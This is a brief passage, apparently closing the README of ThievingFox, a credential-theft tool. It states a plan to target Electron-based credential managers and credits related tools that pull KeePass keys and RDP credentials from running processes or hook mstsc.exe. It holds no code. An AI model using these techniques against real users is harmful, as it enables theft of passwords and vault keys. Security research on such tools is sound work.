For future versions of ThievingFox, I intend to target other applications. In particular, credential managers that use the Electron Framework ;)

KeeThief on retrieving credentials from running KeePass processes - by Lee Chagolla-Christensen and Will Schroeder
Mimikatz’s ts::mstsc module on retrieving credentials from running mstsc processes - by Benjamin Delpy
RDPThief on hooking mstsc.exe to capture credentials - by Rio Sherri
KeePassHax on retrieving KeePass masterkeys in memory - by holly-hacker